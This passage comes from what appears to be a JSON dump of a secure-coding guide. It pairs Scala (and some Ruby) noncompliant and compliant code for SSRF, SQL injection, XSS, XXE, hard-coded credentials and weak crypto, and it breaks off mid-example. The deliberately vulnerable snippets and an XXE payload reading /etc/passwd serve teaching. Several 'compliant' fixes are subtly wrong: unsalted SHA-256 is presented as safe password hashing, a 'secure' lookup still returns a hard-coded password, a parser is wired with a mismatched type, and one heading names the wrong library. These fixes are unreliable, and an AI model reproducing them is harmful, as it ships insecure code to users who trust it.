avoids storing sensitive information in the log file.\n\nIt's important to adhere to secure logging practices when handling sensitive information. Here are some recommendations:\n\n1. Avoid logging sensitive information such as passwords, credit card numbers, or personally identifiable information (PII).\n2. Use log masking techniques to replace sensitive data with placeholders or redacted values.\n3. Implement a log filtering mechanism to exclude sensitive information from the logs before they are written to disk or transmitted.\n4. Regularly review and secure access to log files, ensuring that they are only accessible to authorized personnel.\n5. Encrypt log files or store them in secure locations to protect against unauthorized access or tampering.\n\nBy avoiding the logging of sensitive information or implementing measures to protect logged data, you can maintain the confidentiality and integrity of sensitive data, reduce the risk of unauthorized access or disclosure, and comply with data protection regulations.\n\n\n\n\n## Server-Side Request Forgery (SSRF)\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nrequire 'open-uri'\n\n# Noncompliant code\ndef fetch_url(url)\n  data = open(url).read\n  # Process the fetched data\nend\n```\n\nIn this noncompliant code, the fetch_url function takes a URL as input and directly uses the open method from the open-uri library to read the content of the specified URL. This approach can be dangerous as it allows the attacker to manipulate the URL parameter and potentially access internal resources or perform unauthorized actions on behalf of the server.\n\nTo address this security concern, it's crucial to implement proper safeguards to prevent SSRF attacks. Here's an example of compliant code that mitigates SSRF vulnerabilities:\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nrequire 'open-uri'\nrequire 'uri'\n\n# Compliant code\ndef fetch_url(url)\n  parsed_url = URI.parse(url)\n  if parsed_url.host == 'trusted-domain.com'\n    data = open(url).read\n    # Process the fetched data\n  else\n    # Handle the case of an untrusted or restricted domain\n    puts 'Access to the specified domain is not allowed.'\n  end\nend\n```\n\nIn the compliant code, the URI.parse method is used to parse the input URL and obtain the hostname. By checking the host attribute of the parsed URL against a whitelist of trusted domains (in this case, 'trusted-domain.com'), the code ensures that requests are only made to allowed destinations.\n\nIf the input URL is from an untrusted or restricted domain, the code handles the case by outputting an appropriate message or taking other necessary actions, such as logging the event, notifying administrators, or rejecting the request.\n\nIt's important to maintain a robust whitelist of trusted domains and carefully validate user input to prevent SSRF attacks. Additionally, consider implementing additional protections such as:\n\n* Restricting the use of IP addresses and private/internal network resources.\n* Implementing rate limiting or request throttling to prevent abuse.\n* Monitoring and logging outgoing requests to detect and respond to suspicious or unauthorized activities.\n\nBy implementing proper input validation, domain whitelisting, and other security measures, you can significantly reduce the risk of SSRF attacks and ensure that requests are made only to trusted and intended destinations.\n\n"
  },
  {
    "path": "docs/rules/rules.md",
    "content": "---\nlayout: default\ntitle: Rules\nnav_order: 11\nhas_children: true\npermalink: docs/rules\n---\n\n# Rules\n{: .no_toc }\n\n{: .fs-6 .fw-300 }\n"
  },
  {
    "path": "docs/rules/scala.md",
    "content": "---\nlayout: default\ntitle: Scala\nparent: Rules\n---\n\n# Scala\n{: .no_toc }\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n\n## Exposure of sensitive information\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n// Noncompliant code - exposing sensitive information in error log\ndef processUserInput(input: String): Unit = {\n  // Process user input\n  // ...\n  \n  // Log error with sensitive information\n  val errorMessage = s\"Error processing user input: $input\"\n  Logger.error(errorMessage)\n}\n```\n\nIn this noncompliant code example, the processUserInput() function logs an error message that includes the user input directly into the error log using a logger. This can potentially expose sensitive information to anyone who has access to the error log file, including unauthorized users.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n// Compliant code - avoiding exposure of sensitive information in error log\ndef processUserInput(input: String): Unit = {\n  // Process user input\n  // ...\n  \n  // Log error without sensitive information\n  Logger.error(\"Error processing user input\")\n}\n```\n\n\nIn the compliant code example, the processUserInput() function logs a generic error message without including the user input. By avoiding the inclusion of sensitive information in the error log, the code mitigates the risk of exposing sensitive data to unauthorized individuals.\n\nIt's important to note that error logs should only contain information necessary for debugging and should not include any sensitive data. Additionally, it's recommended to configure error log settings appropriately and restrict access to the error log files to authorized personnel only.\n\n\n## Insertion of Sensitive Information Into Sent Data\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n// Noncompliant code - inserting sensitive information into sent data\ndef sendUserData(userId: String): Unit = {\n  // Retrieve user data\n  val userData = retrieveUserData(userId)\n  \n  // Insert sensitive information into sent data\n  val sentData = s\"User data: $userData\"\n  sendRequest(sentData)\n}\n\ndef retrieveUserData(userId: String): String = {\n  // Retrieve user data from the database\n  // ...\n  // Return the user data as a string\n}\n\ndef sendRequest(data: String): Unit = {\n  // Send the data to a remote server\n  // ...\n}\n```\n\nIn this noncompliant code example, the sendUserData() function retrieves user data and inserts the sensitive information directly into the sentData string. The sentData string is then sent to a remote server using the sendRequest() function. This practice can lead to the inadvertent exposure of sensitive information during the transmission process.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n// Compliant code - avoiding insertion of sensitive information into sent data\ndef sendUserData(userId: String): Unit = {\n  // Retrieve user data\n  val userData = retrieveUserData(userId)\n  \n  // Send the user data without inserting sensitive information\n  sendRequest(userData)\n}\n\ndef retrieveUserData(userId: String): String = {\n  // Retrieve user data from the database\n  // ...\n  // Return the user data as a string\n}\n\ndef sendRequest(data: String): Unit = {\n  // Send the data to a remote server\n  // ...\n}\n```\n\n\nIn the compliant code example, the sendUserData() function retrieves user data and sends it to the remote server without inserting sensitive information into the data. By directly sending the user data instead of concatenating it with other strings, the code avoids the risk of inadvertently including sensitive information in the sent data.\n\nIt's important to handle sensitive information carefully and avoid unnecessary inclusion in transmitted data. Proper data handling practices include using encryption, secure protocols (such as HTTPS), and following relevant security standards and guidelines to protect sensitive data during transmission.\n\n\n\n## Cross-Site Request Forgery (CSRF)\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n// Noncompliant code - lack of CSRF protection\ndef transferFunds(request: Request): Response = {\n  val sourceAccount = request.getParameter(\"sourceAccount\")\n  val destinationAccount = request.getParameter(\"destinationAccount\")\n  val amount = request.getParameter(\"amount\")\n  \n  // Perform fund transfer logic\n  // ...\n  \n  // Return response\n  // ...\n}\n```\n\nIn the noncompliant code, the transferFunds function is vulnerable to CSRF attacks because it lacks CSRF protection. An attacker can trick a user into unknowingly performing a malicious fund transfer by crafting a forged request and tricking the user into clicking on a malicious link or submitting a form.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n// Compliant code - CSRF protection using tokens\ndef transferFunds(request: Request): Response = {\n  val sourceAccount = request.getParameter(\"sourceAccount\")\n  val destinationAccount = request.getParameter(\"destinationAccount\")\n  val amount = request.getParameter(\"amount\")\n  \n  // Verify CSRF token\n  val csrfToken = request.getParameter(\"csrfToken\")\n  if (!validateCsrfToken(csrfToken)) {\n    // CSRF token validation failed, handle the error or return an appropriate response\n    // ...\n  }\n  \n  // Perform fund transfer logic\n  // ...\n  \n  // Return response\n  // ...\n}\n\ndef validateCsrfToken(csrfToken: String): Boolean = {\n  // Validate the CSRF token against a stored value or session token\n  // Return true if the token is valid, false otherwise\n  // ...\n}\n```\n\n\nIn the compliant code, a CSRF protection mechanism is added using tokens. The transferFunds function now expects a CSRF token as part of the request parameters. It verifies the token using the validateCsrfToken function before executing the fund transfer logic. If the token validation fails, appropriate error handling or response generation can be performed. By implementing CSRF protection, the code mitigates the risk of unauthorized fund transfers through CSRF attacks.\n\n\n\n\n## Use of Hard-coded Password\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n// Noncompliant code - hard-coded password\ndef authenticate(username: String, password: String): Boolean = {\n  // Hard-coded password for authentication\n  if (password == \"myPassword123\") {\n    // Authentication successful\n    true\n  } else {\n    // Authentication failed\n    false\n  }\n}\n```\n\nIn the noncompliant code, the authenticate function uses a hard-coded password for authentication. Storing passwords directly in the source code is a security risk because it makes the password easily accessible to anyone with access to the code. If the code is compromised or leaked, an attacker can easily retrieve the password and gain unauthorized access.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n// Compliant code - use of secure password storage\ndef authenticate(username: String, password: String): Boolean = {\n  // Retrieve the stored password hash for the user from a secure database or password storage mechanism\n  val storedPasswordHash = getStoredPasswordHash(username)\n  \n  // Compare the entered password with the stored password hash using a secure password hashing algorithm\n  val isPasswordValid = verifyPassword(password, storedPasswordHash)\n  \n  isPasswordValid\n}\n\ndef getStoredPasswordHash(username: String): String = {\n  // Retrieve the stored password hash for the user from a secure database or password storage mechanism\n  // ...\n}\n\ndef verifyPassword(password: String, storedPasswordHash: String): Boolean = {\n  // Use a secure password hashing algorithm (e.g., bcrypt, Argon2, scrypt) to verify the password\n  // Compare the password hash derived from the entered password with the stored password hash\n  // Return true if the password is valid, false otherwise\n  // ...\n}\n```\n\nIn the compliant code, the password is not hard-coded in the source code. Instead, it is securely stored in a database or a secure password storage mechanism. The authenticate function retrieves the stored password hash for the user and compares it with the entered password using a secure password hashing algorithm (e.g., bcrypt, Argon2, scrypt). This ensures that the actual password value is never exposed or stored directly, and only the hash representation is used for comparison. By using secure password storage and hashing techniques, the code mitigates the risk associated with hard-coded passwords and enhances the overall security of the application.\n\n\n\n\n\n\n## Broken or Risky Crypto Algorithm\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport java.security.MessageDigest\n\n// Noncompliant code - uses weak MD5 hashing algorithm\ndef hashPassword(password: String): String = {\n  val md = MessageDigest.getInstance(\"MD5\")\n  val bytes = password.getBytes(\"UTF-8\")\n  val digest = md.digest(bytes)\n  val hashedPassword = digest.map(\"%02x\".format(_)).mkString\n  hashedPassword\n}\n```\n\n\nIn the noncompliant code, the hashPassword function uses the weak MD5 hashing algorithm to hash the password. MD5 is considered broken and insecure for cryptographic purposes due to its vulnerability to collision attacks and the availability of more secure alternatives.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport java.security.MessageDigest\n\n// Compliant code - uses secure SHA-256 hashing algorithm\ndef hashPassword(password: String): String = {\n  val md = MessageDigest.getInstance(\"SHA-256\")\n  val bytes = password.getBytes(\"UTF-8\")\n  val digest = md.digest(bytes)\n  val hashedPassword = digest.map(\"%02x\".format(_)).mkString\n  hashedPassword\n}\n```\n\n\nIn the compliant code, the hashPassword function uses the secure SHA-256 hashing algorithm instead of MD5. SHA-256 is a widely accepted and stronger cryptographic hash function. It provides better resistance against collision attacks and is considered more secure for hashing sensitive information such as passwords.\n\nBy using a secure cryptographic algorithm like SHA-256, the compliant code mitigates the risk associated with broken or risky crypto algorithms and enhances the overall security of the application.\n\n\n\n\n## Insufficient Entropy\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport scala.util.Random\n\n// Noncompliant code - uses Random.nextInt without sufficient entropy\ndef generateOTP(): String = {\n  val otp = Random.nextInt(9999).toString\n  otp\n}\n```\n\n\nIn the noncompliant code, the generateOTP function attempts to generate a one-time password (OTP) by using Random.nextInt to generate a random number between 0 and 9999. However, the Random class in Scala uses a linear congruential generator (LCG) algorithm, which may not provide sufficient entropy for generating secure random numbers.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport java.security.SecureRandom\nimport scala.util.Random\n\n// Compliant code - uses SecureRandom for generating OTP with sufficient entropy\ndef generateOTP(): String = {\n  val secureRandom = new SecureRandom()\n  val otp = secureRandom.nextInt(10000).toString\n  otp\n}\n```\n\nIn the compliant code, the generateOTP function uses SecureRandom instead of Random to generate the OTP. SecureRandom is a cryptographic-strength random number generator that provides sufficient entropy for generating secure random numbers.\n\nBy using SecureRandom, the compliant code ensures that the generated OTPs have higher entropy and are more resistant to guessing or brute-force attacks. This enhances the security of the application that relies on OTPs for authentication or other security-sensitive operations.\n\n\n\n## XSS\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport scala.xml.NodeSeq\n\n// Noncompliant code - vulnerable to XSS\ndef displayMessage(message: String): NodeSeq = {\n  <div>{message}</div>\n}\n```\n\nIn the noncompliant code, the displayMessage function accepts a message parameter, which is directly interpolated into an XML element using the {} syntax. This code is vulnerable to cross-site scripting (XSS) attacks because it does not properly escape or sanitize the message parameter. An attacker can inject malicious scripts or HTML tags into the message, leading to potential security risks.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport scala.xml.{NodeSeq, Text}\n\n// Compliant code - properly escapes the message to prevent XSS\ndef displayMessage(message: String): NodeSeq = {\n  <div>{Text(message)}</div>\n}\n```\n\n\nIn the compliant code, the displayMessage function uses the Text class from the scala.xml package to properly escape the message parameter. The Text class ensures that any special characters in the message are encoded correctly, preventing the injection of malicious scripts or HTML tags.\n\nBy using the Text class to escape the message parameter, the compliant code mitigates the risk of XSS attacks and ensures that the displayed message is rendered as plain text rather than interpreted as HTML or script code. This enhances the security of the application and protects users from potential XSS vulnerabilities.\n\n\n\n\n\n## SQL Injection\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport java.sql.{Connection, DriverManager, ResultSet}\n\n// Noncompliant code - vulnerable to SQL injection\ndef getUser(userId: String): Option[String] = {\n  val query = s\"SELECT name FROM users WHERE id = $userId\"\n  \n  var connection: Connection = null\n  var result: Option[String] = None\n  \n  try {\n    connection = DriverManager.getConnection(\"jdbc:mysql://localhost:3306/mydb\", \"username\", \"password\")\n    val statement = connection.createStatement()\n    val resultSet = statement.executeQuery(query)\n    if (resultSet.next()) {\n      result = Some(resultSet.getString(\"name\"))\n    }\n  } catch {\n    case e: Exception => e.printStackTrace()\n  } finally {\n    if (connection != null) {\n      connection.close()\n    }\n  }\n  \n  result\n}\n```\n\nIn the noncompliant code, the getUser function accepts a userId parameter and directly interpolates it into the SQL query string. This code is vulnerable to SQL injection attacks because the user input is not properly sanitized or parameterized. An attacker can manipulate the userId parameter to execute arbitrary SQL statements, potentially gaining unauthorized access to the database or compromising data integrity.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport java.sql.{Connection, DriverManager, PreparedStatement, ResultSet}\n\n// Compliant code - uses parameterized queries to prevent SQL injection\ndef getUser(userId: String): Option[String] = {\n  val query = \"SELECT name FROM users WHERE id = ?\"\n  \n  var connection: Connection = null\n  var result: Option[String] = None\n  \n  try {\n    connection = DriverManager.getConnection(\"jdbc:mysql://localhost:3306/mydb\", \"username\", \"password\")\n    val statement = connection.prepareStatement(query)\n    statement.setString(1, userId)\n    val resultSet = statement.executeQuery()\n    if (resultSet.next()) {\n      result = Some(resultSet.getString(\"name\"))\n    }\n  } catch {\n    case e: Exception => e.printStackTrace()\n  } finally {\n    if (connection != null) {\n      connection.close()\n    }\n  }\n  \n  result\n}\n```\n\nIn the compliant code, the getUser function uses parameterized queries to prevent SQL injection attacks. Instead of directly interpolating the userId parameter into the SQL query, the code uses a prepared statement and binds the parameter using the setString method. This approach ensures that the user input is properly handled and prevents any malicious SQL statements from being executed.\n\nBy using parameterized queries, the compliant code mitigates the risk of SQL injection and ensures the safety of database operations. It protects against unauthorized access and helps maintain data integrity within the application.\n\n\n\n## External Control of File Name or Path\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport java.io.File\n\n// Noncompliant code - vulnerable to external control of file name or path\ndef readFile(fileName: String): String = {\n  val file = new File(fileName)\n  val content = scala.io.Source.fromFile(file).mkString\n  content\n}\n```\n\n\nIn the noncompliant code, the readFile function accepts a fileName parameter, which is used to create a File object to read the content of the file. However, this code is vulnerable to external control of the file name or path, as it directly uses the fileName parameter without any validation or sanitization. An attacker can manipulate the fileName parameter to read arbitrary files from the system, potentially exposing sensitive information or compromising the application's security.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport java.io.File\n\n// Compliant code - validates and sanitizes the file name\ndef readFile(fileName: String): Option[String] = {\n  if (!fileName.contains(\"..\") && fileName.matches(\"[a-zA-Z0-9]+\\\\.txt\")) {\n    val file = new File(fileName)\n    val content = scala.io.Source.fromFile(file).mkString\n    Some(content)\n  } else {\n    None\n  }\n}\n```\n\nIn the compliant code, the readFile function validates and sanitizes the fileName parameter before accessing the file. The code checks if the file name contains .., which is commonly used in path traversal attacks to navigate to parent directories. Additionally, the code uses a regular expression pattern to ensure that the file name consists only of alphanumeric characters and ends with the .txt extension (you can modify the pattern as per your specific requirements).\n\nBy validating and sanitizing the file name, the compliant code mitigates the risk of external control of the file name or path. It ensures that only files meeting the specified criteria can be accessed, reducing the potential for unauthorized access or disclosure of sensitive information.\n\n\n\n\n## Generation of Error Message Containing Sensitive Information\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n// Noncompliant code - error message containing sensitive information\ndef divide(a: Int, b: Int): Int = {\n  if (b != 0) {\n    a / b\n  } else {\n    throw new ArithmeticException(\"Division by zero error. Numerator: \" + a + \", Denominator: \" + b)\n  }\n}\n```\n\n\nIn the noncompliant code, when a division by zero occurs, an ArithmeticException is thrown with an error message that includes the values of the numerator and denominator. This error message may contain sensitive information, such as actual values from the computation, which could be exploited by an attacker for malicious purposes.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n// Compliant code - generic error message without sensitive information\ndef divide(a: Int, b: Int): Int = {\n  if (b != 0) {\n    a / b\n  } else {\n    throw new ArithmeticException(\"Division by zero error.\")\n  }\n}\n```\n\nIn the compliant code, the error message is modified to provide a generic message without disclosing any sensitive information. Instead of including the specific values of the numerator and denominator, the error message simply states that a division by zero error has occurred.\n\nBy avoiding the inclusion of sensitive information in error messages, the compliant code helps to prevent the potential exposure of sensitive data. It follows the principle of providing a generic error message that does not divulge specific details of the computation, reducing the risk of information leakage and protecting the confidentiality of sensitive data.\n\n\n## unprotected storage of credentials\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n// Noncompliant code - unprotected storage of credentials\nval username = \"admin\"\nval password = \"secretpassword\"\n```\n\nIn the noncompliant code, the credentials (username and password) are stored directly in variables without any protection. Storing credentials in plain text exposes them to potential unauthorized access, especially if an attacker gains access to the source code or the environment where the code is deployed.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n// Compliant code - secure storage of credentials\nval username = readSecureValue(\"username\")\nval password = readSecureValue(\"password\")\n\ndef readSecureValue(key: String): String = {\n  // Implement a secure mechanism to retrieve the value of the given key\n  // Examples: reading from an encrypted configuration file, retrieving from a secure key vault, etc.\n  // This implementation depends on the specific security requirements and infrastructure of the application.\n  // The focus is on securely retrieving the credentials, ensuring they are not stored directly in the code.\n  // The exact implementation details are beyond the scope of this example.\n  // Ideally, secrets management tools or libraries should be used for secure credential storage.\n  // This ensures that credentials are not hardcoded in the code and are accessed securely at runtime.\n  // Additionally, access controls and encryption should be implemented to protect the stored credentials.\n  // For simplicity, this example assumes a custom readSecureValue() function that securely retrieves the value.\n  // The actual implementation should use established and tested secure practices.\n  // This example is meant to illustrate the concept of securely storing and retrieving credentials.\n  // It is recommended to use a robust secrets management solution in real-world scenarios.\n  // This code snippet should be adapted to meet the specific security requirements of the application.\n\n  // Placeholder implementation\n  if (key == \"username\") {\n    // Retrieve the username value securely\n    \"admin\"\n  } else if (key == \"password\") {\n    // Retrieve the password value securely\n    \"secretpassword\"\n  } else {\n    // Handle other keys as needed\n    \"\"\n  }\n}\n```\n\nIn the compliant code, the credentials are not stored directly in the code. Instead, a secure mechanism is used to retrieve the values of the credentials at runtime. The readSecureValue function is a placeholder for a secure implementation that retrieves the credentials from a secure storage or secrets management solution. The exact implementation details will depend on the specific security requirements and infrastructure of the application.\n\nBy securely storing the credentials and retrieving them at runtime, the compliant code helps to protect sensitive information from unauthorized access. It avoids the risk of exposing credentials in plain text and follows best practices for credential management and secure storage.\n\n\n\n## Trust Boundary Violation\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n// Noncompliant code - trust boundary violation\nval userRole = getUserRoleFromRequest(request)\nval isAdmin = checkUserRole(userRole)\n\ndef getUserRoleFromRequest(request: Request): String = {\n  // Extract the user role from the request parameter without proper validation\n  // This code assumes the user role is directly provided in the request\n  // without any sanitization or validation checks\n  request.getParameter(\"role\")\n}\n\ndef checkUserRole(userRole: String): Boolean = {\n  // Perform a check to determine if the user has administrative privileges\n  // In this noncompliant code, the check is solely based on the value of the user role\n  // without any additional validation or verification\n  userRole.toLowerCase() == \"admin\"\n}\n```\n\nIn the noncompliant code, there is a trust boundary violation where the user role is directly extracted from the request parameter without proper validation or sanitization. The code assumes that the user role provided in the request is trustworthy and uses it to determine if the user has administrative privileges. However, this approach is insecure as it relies solely on the user-provided value without any additional validation or verification.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n// Compliant code - proper validation of user role\nval userRole = getUserRoleFromRequest(request)\nval isAdmin = checkUserRole(userRole)\n\ndef getUserRoleFromRequest(request: Request): String = {\n  // Extract the user role from the request parameter and perform proper validation\n  // Validate and sanitize the user-provided input to prevent trust boundary violations\n  val rawUserRole = request.getParameter(\"role\")\n  validateUserRole(rawUserRole)\n}\n\ndef validateUserRole(userRole: String): String = {\n  // Perform proper validation and sanitization of the user role\n  // This could include checks such as ensuring the user role is within an allowed set of values,\n  // validating against a predefined list of roles, or using a dedicated role validation library.\n  // The exact validation logic depends on the specific requirements and design of the application.\n  // This example assumes a simple validation for demonstration purposes.\n  if (userRole.toLowerCase() == \"admin\" || userRole.toLowerCase() == \"user\") {\n    userRole.toLowerCase()\n  } else {\n    // Handle invalid user roles as needed, such as assigning a default role or throwing an exception\n    \"guest\"\n  }\n}\n\ndef checkUserRole(userRole: String): Boolean = {\n  // Perform a check to determine if the user has administrative privileges\n  // The user role has been properly validated before reaching this point\n  userRole == \"admin\"\n}\n```\n\n\nIn the compliant code, proper validation and sanitization of the user role are performed. The getUserRoleFromRequest function extracts the user role from the request parameter and passes it to the validateUserRole function for validation. The validateUserRole function performs appropriate checks to ensure the user role is valid and within the expected set of values. In this example, the validation is a simple check against allowed roles, but in real-world scenarios, more complex validation logic and libraries should be used.\n\nBy validating and sanitizing the user role, the compliant code prevents trust boundary violations and ensures that only valid and trusted values are used to determine if the user has administrative privileges. This helps to protect against unauthorized access and maintains the integrity of the trust boundary.\n\n\n\n\n\n\n## Insufficiently Protected Credentials\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n// Noncompliant code - insufficiently protected credentials\nval username = \"admin\"\nval password = \"password\"\n\nval connection = DriverManager.getConnection(\"jdbc:mysql://localhost:3306/mydb\", username, password)\n```\n\nIn the noncompliant code, the username and password for a database connection are hardcoded directly into the source code. This practice is insecure because it exposes sensitive credentials to anyone who has access to the code. Hardcoding credentials makes it easier for attackers to identify and exploit them, especially if the source code is accessible or accidentally leaked.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n// Compliant code - protected credentials\nval username = readUsernameFromConfig()\nval password = readPasswordFromConfig()\n\nval connection = DriverManager.getConnection(\"jdbc:mysql://localhost:3306/mydb\", username, password)\n\ndef readUsernameFromConfig(): String = {\n  // Read the username from a secure configuration file or environment variable\n  // This ensures that the credentials are not directly hardcoded in the source code\n  // and are kept separate from the code repository\n  // The specific method for retrieving the username will depend on the application's configuration mechanism\n  // such as reading from a properties file, using a secure vault, or fetching from environment variables\n  // This example assumes reading from a properties file for demonstration purposes\n  val properties = new Properties()\n  properties.load(new FileInputStream(\"config.properties\"))\n  properties.getProperty(\"db.username\")\n}\n\ndef readPasswordFromConfig(): String = {\n  // Read the password from a secure configuration file or environment variable\n  // Similar to the username, the password should be stored separately from the source code\n  val properties = new Properties()\n  properties.load(new FileInputStream(\"config.properties\"))\n  properties.getProperty(\"db.password\")\n}\n```\n\n\nIn the compliant code, the username and password are retrieved from a secure configuration file (config.properties) rather than being hardcoded directly into the source code. This separation of credentials from the code ensures that sensitive information is not exposed in the codebase itself. The specific method for retrieving the credentials may vary depending on the application's configuration mechanism, such as reading from a properties file, using a secure vault, or fetching from environment variables.\n\nBy protecting the credentials in a separate configuration file or environment variable, the compliant code mitigates the risk of accidental exposure of sensitive information and helps maintain the confidentiality of the credentials. It also allows for easier management of credentials in different environments without modifying the source code.\n\n\n\n\n## Restriction of XML External Entity Reference\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n// Noncompliant code - unrestricted XML entity reference\nimport scala.xml.XML\n\nval xml = XML.loadString(\"\"\"\n  <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n  <!DOCTYPE foo [\n    <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n  ]>\n  <root>&xxe;</root>\n\"\"\")\n\n// Process the XML data\n```\n\nIn the noncompliant code, an XML document is loaded using the XML.loadString method without any explicit restrictions on XML external entity references. This can lead to XML External Entity (XXE) attacks where an attacker can include external entities, such as local files, and potentially read sensitive data or perform other malicious actions.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n// Compliant code - restricted XML entity reference\nimport scala.xml.{Elem, XML}\nimport javax.xml.XMLConstants\nimport javax.xml.parsers.DocumentBuilderFactory\n\n// Set up secure XML parsing\nval factory = DocumentBuilderFactory.newInstance()\nfactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)\nfactory.setExpandEntityReferences(false)\n\nval builder = factory.newDocumentBuilder()\nval xml = XML.withSAXParser(builder).loadString(\"\"\"\n  <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n  <!DOCTYPE foo [\n    <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n  ]>\n  <root>&xxe;</root>\n\"\"\")\n\n// Process the XML data\n```\n\n\nIn the compliant code, additional measures are taken to restrict the XML entity references and prevent XXE attacks. The javax.xml.parsers.DocumentBuilderFactory is used to create a secure XML parser. By enabling the FEATURE_SECURE_PROCESSING feature and disabling the ExpandEntityReferences option, the parser ensures that XML external entity references are not resolved or expanded.\n\nThe XML.withSAXParser method is used to apply the secure parser to the XML document. This ensures that the XML processing is performed with the restricted entity reference behavior.\n\nBy implementing these restrictions on XML entity references, the compliant code mitigates the risk of XXE attacks and protects against the unauthorized disclosure of sensitive information from external entities.\n\n\n\n\n## PHPMailer library\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n// Noncompliant code - using outdated library version\nimport org.apache.commons.codec.digest.DigestUtils\n\nval password = \"password123\"\nval hashedPassword = DigestUtils.sha1Hex(password)\n```\n\nIn the noncompliant code, the Apache Commons Codec library is used to hash a password using the SHA-1 algorithm. However, using the SHA-1 algorithm for password hashing is considered insecure and outdated. It is susceptible to various attacks, such as collision attacks and pre-image attacks, making it unsuitable for secure password storage.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n// Compliant code - using secure and up-to-date library version\nimport java.security.MessageDigest\n\nval password = \"password123\"\nval sha256 = MessageDigest.getInstance(\"SHA-256\")\nval hashedPassword = sha256.digest(password.getBytes).map(\"%02x\".format(_)).mkString\n```\n\n\nIn the compliant code, the java.security.MessageDigest class is used to hash the password using the SHA-256 algorithm, which is more secure than SHA-1. The getInstance method is called with the algorithm name \"SHA-256\" to obtain an instance of the MessageDigest class.\n\nThe digest method is used to compute the hash value of the password by converting it to bytes and applying the SHA-256 algorithm. The resulting hash is then converted to a hexadecimal string representation using the map and mkString methods.\n\nBy using a secure and up-to-date algorithm like SHA-256, the compliant code ensures that the password hashing is performed in a more robust and secure manner, mitigating the risk of password compromise due to the use of vulnerable and outdated components. It is important to regularly update dependencies and libraries to ensure the use of the latest versions with security patches and fixes.\n\n\n\n\n## Improper Validation of Certificate with Host Mismatch\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n// Noncompliant code - improper certificate validation\nimport java.net.URL\nimport java.net.HttpURLConnection\n\nval url = new URL(\"https://example.com\")\nval connection = url.openConnection().asInstanceOf[HttpURLConnection]\nconnection.setRequestMethod(\"GET\")\n\n// Disable hostname verification\nconnection.setHostnameVerifier((_, _) => true)\n\nval responseCode = connection.getResponseCode()\n```\n\nIn the noncompliant code, a URL is created for the \"https://example.com\" endpoint, and a connection is opened using openConnection() method. The setHostnameVerifier method is used to disable hostname verification, which means that the certificate presented by the server will not be validated against the host.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n// 